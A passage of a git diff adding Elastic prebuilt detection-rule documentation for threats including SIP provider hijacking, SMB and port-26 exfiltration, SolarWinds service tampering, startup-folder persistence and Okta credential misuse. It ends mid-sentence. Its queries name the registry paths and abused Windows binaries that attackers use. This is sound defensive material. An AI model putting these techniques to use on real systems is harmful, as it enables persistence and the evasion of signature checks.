b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-sip-provider-modification.asciidoc @@ -0,0 +1,134 @@ +[[prebuilt-rule-8-19-21-sip-provider-modification]] +=== SIP Provider Modification + +Identifies modifications to the registered Subject Interface Package (SIP) providers. SIP providers are used by the Windows cryptographic system to validate file signatures on the system. This may be an attempt to bypass signature validation checks or inject code into critical processes. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/mattifestation/PoCSubjectInterfacePackage + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SIP Provider Modification* + + +Subject Interface Package (SIP) providers are integral to Windows' cryptographic system, ensuring file signature validation. Adversaries may modify SIP providers to bypass these checks, facilitating unauthorized code execution. The detection rule identifies suspicious registry changes linked to SIP providers, excluding benign processes, to flag potential defense evasion attempts. + + +*Possible investigation steps* + + +- Review the registry path and value changes to confirm if they match the suspicious patterns specified in the query, such as modifications under the paths related to CryptSIPDllPutSignedDataMsg or Trust FinalPolicy. +- Identify the process responsible for the registry change by examining the process name and compare it against the exclusions in the query, ensuring it is not a benign process like msiexec.exe or regsvr32.exe. +- Investigate the DLL file specified in the registry change to determine its legitimacy, checking its digital signature and origin. +- Correlate the event with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related suspicious activities or patterns. +- Assess the risk context by considering the host's role and any recent changes or incidents that might explain the registry modification, ensuring it aligns with expected behavior or authorized changes. + + +*False positive analysis* + + +- Installation or update processes like msiexec.exe may trigger registry changes as part of legitimate software installations. Exclude these by adding exceptions for msiexec.exe when registry data strings include mso.dll. +- System maintenance tasks using regsvr32.exe might modify SIP provider-related registry entries. Exclude regsvr32.exe when registry data strings match WINTRUST.DLL to prevent false alerts. +- Regular updates or patches from trusted software vendors may alter SIP provider registry entries. Monitor and document these changes to establish a baseline of expected behavior, allowing for informed exclusions. +- Security software or endpoint protection solutions might interact with SIP provider settings as part of their normal operation. Identify and whitelist these processes to reduce unnecessary alerts. +- Custom enterprise applications with legitimate needs to modify cryptographic settings should be reviewed and, if verified as safe, added to an exclusion list to prevent disruption. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or code execution. +- Terminate any suspicious processes identified in the alert, such as those not typically associated with legitimate SIP provider modifications. +- Restore the modified registry entries to their original state using a known good backup or by manually correcting the entries to ensure the integrity of the SIP providers. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any malicious software that may have been introduced. +- Review and update endpoint protection policies to ensure that similar unauthorized modifications are detected and blocked in the future. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Document the incident details, including the steps taken for containment and remediation, to enhance future response efforts and update threat intelligence databases. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : ("Dll", "$Dll") and + registry.path: ( + "*\\SOFTWARE\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\OID\\EncodingType 0\\CryptSIPDllPutSignedDataMsg\\{*}\\Dll", + "*\\SOFTWARE\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll", + "*\\SOFTWARE\\WOW6432Node\\Microsoft\\Cryptography\\Providers\\Trust\\FinalPolicy\\{*}\\$Dll" + ) and + registry.data.strings:"*.dll" and + not (process.name : "msiexec.exe" and registry.data.strings : "mso.dll") and + not (process.name : "regsvr32.exe" and registry.data.strings == "WINTRUST.DLL") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Subvert Trust Controls +** ID: T1553 +** Reference URL: https://attack.mitre.org/techniques/T1553/ +* Sub-technique: +** Name: SIP and Trust Provider Hijacking +** ID: T1553.003 +** Reference URL: https://attack.mitre.org/techniques/T1553/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smb-windows-file-sharing-activity-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smb-windows-file-sharing-activity-to-the-internet.asciidoc new file mode 100644 index 0000000000..62b5c39d51 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smb-windows-file-sharing-activity-to-the-internet.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-21-smb-windows-file-sharing-activity-to-the-internet]] +=== SMB (Windows File Sharing) Activity to the Internet + +This rule detects network events that may indicate the use of Windows file sharing (also called SMB or CIFS) traffic to the Internet. SMB is commonly used within networks to share files, printers, and other system resources amongst trusted systems. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector or for data exfiltration. + +*Rule type*: new_terms + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Initial Access +* Tactic: Exfiltration +* Domain: Network +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMB (Windows File Sharing) Activity to the Internet* + + +SMB, a protocol for sharing files and resources within trusted networks, is vulnerable when exposed to the Internet. Adversaries exploit it for unauthorized access or data theft. The detection rule identifies suspicious SMB traffic from internal IPs to external networks, flagging potential threats by monitoring specific ports and excluding known safe IP ranges. + + +*Possible investigation steps* + + +- Review the source IP address from the alert to identify the internal system initiating the SMB traffic. Check if this IP belongs to a known device or user within the organization. +- Investigate the destination IP address to determine if it is associated with any known malicious activity or if it belongs to a legitimate external service that might require SMB access. +- Analyze network logs to identify any patterns or anomalies in the SMB traffic, such as unusual data transfer volumes or repeated access attempts, which could indicate malicious activity. +- Check for any recent changes or updates on the source system that might explain the SMB traffic, such as new software installations or configuration changes. +- Correlate the alert with other security events or logs, such as authentication logs or endpoint security alerts, to gather additional context and determine if this is part of a broader attack or isolated incident. +- Consult threat intelligence sources to see if there are any known vulnerabilities or exploits related to the SMB traffic observed, which could provide insight into potential attack vectors. + + +*False positive analysis* + + +- Internal testing environments may generate SMB traffic to external IPs for legitimate reasons. Identify and whitelist these IPs to prevent false positives. +- Cloud services or remote backup solutions might use SMB for data transfer. Verify these services and add their IP ranges to the exception list if they are trusted. +- VPN connections can sometimes appear as external traffic. Ensure that VPN IP ranges are included in the list of known safe IPs to avoid misclassification. +- Misconfigured network devices might inadvertently route SMB traffic externally. Regularly audit network configurations and update the rule exceptions to include any legitimate device IPs. +- Some third-party applications may use SMB for updates or data synchronization. Confirm the legitimacy of these applications and exclude their associated IPs from the detection rule. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Conduct a thorough review of firewall and network configurations to ensure SMB traffic is not allowed to the Internet, and block any unauthorized outbound SMB traffic on ports 139 and 445. +- Perform a comprehensive scan of the isolated system for malware or unauthorized access tools, focusing on identifying any backdoors or persistence mechanisms. +- Reset credentials and review access permissions for any accounts that may have been compromised or used in the suspicious activity. +- Notify the security operations center (SOC) and relevant stakeholders about the incident for further analysis and potential escalation. +- Implement additional monitoring and logging for SMB traffic to detect any future unauthorized attempts to access the Internet. +- Review and update security policies and procedures to prevent similar incidents, ensuring that SMB services are only accessible within trusted network segments. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: network_traffic.flow or (event.category: (network or network_traffic))) and + network.transport:tcp and (destination.port:(139 or 445) or data_stream.dataset:zeek.smb) and + source.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) and + not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smtp-on-port-26-tcp.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smtp-on-port-26-tcp.asciidoc new file mode 100644 index 0000000000..d16a5f19b6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-smtp-on-port-26-tcp.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-21-smtp-on-port-26-tcp]] +=== SMTP on Port 26/TCP + +This rule detects events that may indicate use of SMTP on TCP port 26. This port is commonly used by several popular mail transfer agents to deconflict with the default SMTP port 25. This port has also been used by a malware family called BadPatch for command and control of Windows systems. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://unit42.paloaltonetworks.com/unit42-badpatch/ +* https://isc.sans.edu/forums/diary/Next+up+whats+up+with+TCP+port+26/25564/ + +*Tags*: + +* Tactic: Command and Control +* Tactic: Exfiltration +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: PAN-OS +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SMTP on Port 26/TCP* + + +SMTP, typically operating on port 25, is crucial for email transmission. However, port 26 is often used to avoid conflicts or restrictions on port 25. Adversaries exploit this by using port 26 for covert command and control, as seen with the BadPatch malware. The detection rule identifies suspicious SMTP activity on port 26 by analyzing network traffic patterns, helping to uncover potential threats. + + +*Possible investigation steps* + + +- Review the network traffic logs to identify any unusual patterns or anomalies associated with TCP port 26, focusing on the event.dataset fields such as network_traffic.flow or zeek.smtp. +- Analyze the source and destination IP addresses involved in the alert to determine if they are known or associated with any previous suspicious activities. +- Check for any additional alerts or logs related to the same source or destination IP addresses to identify potential patterns or repeated attempts of communication on port 26. +- Investigate the context of the communication by examining the payload data, if available, to identify any indicators of compromise or malicious content. +- Correlate the findings with threat intelligence sources to determine if the IP addresses or domains are associated with known threat actors or malware, such as BadPatch. +- Assess the risk and impact on the affected systems by determining if any sensitive data or critical systems are involved in the communication on port 26. + + +*False positive analysis* + + +- Legitimate mail transfer agents may use port 26 to avoid conflicts with port 25. Identify these agents and create exceptions in the detection rule to prevent unnecessary alerts. +- Some network configurations might reroute SMTP traffic to port 26 for load balancing or security reasons. Verify these configurations and whitelist known IP addresses or domains to reduce false positives. +- Internal testing or development environments might use port 26 for non-malicious purposes. Document these environments and exclude their traffic from triggering alerts. +- Certain email service providers may use port 26 as an alternative to port 25. Confirm these providers and adjust the rule to recognize their traffic as benign. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further command and control communication via port 26. +- Conduct a thorough scan of the isolated system using updated antivirus and anti-malware tools to identify and remove the BadPatch malware or any other malicious software. +- Review and analyze network logs to identify any other systems that may have communicated with the same command and control server, and isolate those systems as well. +- Change all passwords and credentials that may have been compromised or accessed by the affected system to prevent unauthorized access. +- Apply security patches and updates to the affected system and any other vulnerable systems to mitigate exploitation by similar threats. +- Monitor network traffic for any further suspicious activity on port 26 and other non-standard ports, adjusting firewall rules to block unauthorized SMTP traffic. +- Escalate the incident to the security operations center (SOC) or relevant cybersecurity team for further investigation and to ensure comprehensive threat eradication. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset: (network_traffic.flow or zeek.smtp) or event.category:(network or network_traffic)) and network.transport:tcp and destination.port:26 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Mail Protocols +** ID: T1071.003 +** Reference URL: https://attack.mitre.org/techniques/T1071/003/ +* Technique: +** Name: Non-Standard Port +** ID: T1571 +** Reference URL: https://attack.mitre.org/techniques/T1571/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-solarwinds-process-disabling-services-via-registry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-solarwinds-process-disabling-services-via-registry.asciidoc new file mode 100644 index 0000000000..8bcf490556 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-solarwinds-process-disabling-services-via-registry.asciidoc @@ -0,0 +1,154 @@ +[[prebuilt-rule-8-19-21-solarwinds-process-disabling-services-via-registry]] +=== SolarWinds Process Disabling Services via Registry + +Identifies a SolarWinds binary modifying the start type of a service to be disabled. An adversary may abuse this technique to manipulate relevant security services. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.registry-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Initial Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating SolarWinds Process Disabling Services via Registry* + + +SolarWinds software is integral for network management, often requiring deep system access. Adversaries may exploit this by altering registry settings to disable critical services, evading detection. The detection rule identifies changes to service start types by specific SolarWinds processes, flagging potential misuse aimed at disabling security defenses. This proactive monitoring helps mitigate risks associated with unauthorized registry modifications. + + +*Possible investigation steps* + + +- Review the process name involved in the alert to confirm it matches one of the specified SolarWinds processes, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe". +- Examine the registry path in the alert to ensure it corresponds to the critical service start type locations, such as "HKLM\\SYSTEM\\*ControlSet*\\Services\\*\\Start". +- Check the registry data value to verify if it has been set to "4" (disabled), indicating a potential attempt to disable a service. +- Investigate the timeline of the registry change event to identify any preceding or subsequent suspicious activities on the host. +- Correlate the alert with other security logs or alerts from data sources like Sysmon or Microsoft Defender XDR to identify any related malicious activities or patterns. +- Assess the impacted service to determine its role in security operations and evaluate the potential impact of it being disabled. +- Contact the system owner or administrator to verify if the registry change was authorized or part of a legitimate maintenance activity. + + +*False positive analysis* + + +- Routine updates or maintenance by SolarWinds software may trigger registry changes. Verify if the process corresponds to a scheduled update or maintenance task and consider excluding these specific processes during known maintenance windows. +- Legitimate configuration changes by IT administrators using SolarWinds tools can appear as registry modifications. Confirm with the IT team if the changes align with authorized configuration activities and create exceptions for these known activities. +- Automated scripts or tools that utilize SolarWinds processes for legitimate network management tasks might cause false positives. Review the scripts or tools in use and whitelist them if they are verified as safe and necessary for operations. +- Temporary service modifications for troubleshooting purposes by SolarWinds processes can be mistaken for malicious activity. Ensure that any troubleshooting activities are documented and create temporary exceptions during these periods. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized registry modifications and potential lateral movement by the adversary. +- Terminate any suspicious SolarWinds processes identified in the alert, such as "SolarWinds.BusinessLayerHost*.exe" or "NetFlowService*.exe", to halt any ongoing malicious activity. +- Restore the registry settings for the affected services to their original state, ensuring that critical security services are re-enabled and configured to start automatically. +- Conduct a thorough review of the affected system for additional signs of compromise, including unauthorized user accounts, scheduled tasks, or other persistence mechanisms. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach. +- Implement enhanced monitoring on the affected system and similar environments to detect any future unauthorized registry changes, leveraging data sources like Sysmon and Microsoft Defender XDR. +- Review and update access controls and permissions for SolarWinds processes to limit their ability to modify critical system settings, reducing the risk of future exploitation. + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.type == "change" and registry.value : "Start" and + process.name : ( + "SolarWinds.BusinessLayerHost*.exe", + "ConfigurationWizard*.exe", + "NetflowDatabaseMaintenance*.exe", + "NetFlowService*.exe", + "SolarWinds.Administration*.exe", + "SolarWinds.Collector.Service*.exe", + "SolarwindsDiagnostics*.exe" + ) and + registry.path : "*\\SYSTEM\\*ControlSet*\\Services\\*\\Start" and + registry.data.strings : ("4", "0x00000004") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Registry +** ID: T1112 +** Reference URL: https://attack.mitre.org/techniques/T1112/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Supply Chain +** ID: T1195.002 +** Reference URL: https://attack.mitre.org/techniques/T1195/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-startup-persistence-by-a-suspicious-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-startup-persistence-by-a-suspicious-process.asciidoc new file mode 100644 index 0000000000..f113508901 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-startup-persistence-by-a-suspicious-process.asciidoc @@ -0,0 +1,169 @@ +[[prebuilt-rule-8-19-21-startup-persistence-by-a-suspicious-process]] +=== Startup Persistence by a Suspicious Process + +Identifies files written to or modified in the startup folder by commonly abused processes. Adversaries may use this technique to maintain persistence. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/hunting-for-persistence-using-elastic-security-part-1 +* https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne + +*Version*: 315 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Startup Persistence by a Suspicious Process* + + +The Windows Startup folder is a special folder in Windows. Programs added to this folder are executed during account logon, without user interaction, providing an excellent way for attackers to maintain persistence. + +This rule monitors for commonly abused processes writing to the Startup folder locations. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate if the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the file using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + +*False positive analysis* + + +- Administrators may add programs to this mechanism via command-line shells. Before the further investigation, verify that this activity is not benign. + + +*Related rules* + + +- Suspicious Startup Shell Folder Modification - c8b150f0-0164-475b-a75e-74b47800a9ff +- Persistent Scripts in the Startup Directory - f7c4dc5a-a58d-491d-9f14-9b66507121c0 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type != "deletion" and + user.domain != "NT AUTHORITY" and + file.path : ("C:\\Users\\*\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", + "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp\\*") and + process.name : ("cmd.exe", + "powershell.exe", + "wmic.exe", + "mshta.exe", + "pwsh.exe", + "cscript.exe", + "wscript.exe", + "regsvr32.exe", + "RegAsm.exe", + "rundll32.exe", + "EQNEDT32.EXE", + "WINWORD.EXE", + "EXCEL.EXE", + "POWERPNT.EXE", + "MSPUB.EXE", + "MSACCESS.EXE", + "iexplore.exe", + "InstallUtil.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: Registry Run Keys / Startup Folder +** ID: T1547.001 +** Reference URL: https://attack.mitre.org/techniques/T1547/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc new file mode 100644 index 0000000000..da3687793e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset.asciidoc @@ -0,0 +1,124 @@ +[[prebuilt-rule-8-19-21-stolen-credentials-used-to-login-to-okta-account-after-mfa-reset]] +=== Stolen Credentials Used to Login to Okta Account After MFA Reset + +Detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-okta* +* .alerts-security.* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 6h + +*Searches indices from*: now-12h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta + +*Tags*: + +* Tactic: Persistence +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Elastic Defend +* Rule Type: Higher-Order Rule +* Domain: Endpoint +* Domain: Cloud +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Stolen Credentials Used to Login to Okta Account After MFA Reset* + + +This rule detects a sequence of suspicious activities on Windows hosts indicative of credential compromise, followed by efforts to undermine multi-factor authentication (MFA) and single sign-on (SSO) mechanisms for an Okta user account. + +Typically, adversaries initially extract credentials from targeted endpoints through various means. Subsequently, leveraging social engineering, they may seek to reset the MFA credentials associated with an Okta account, especially in scenarios where 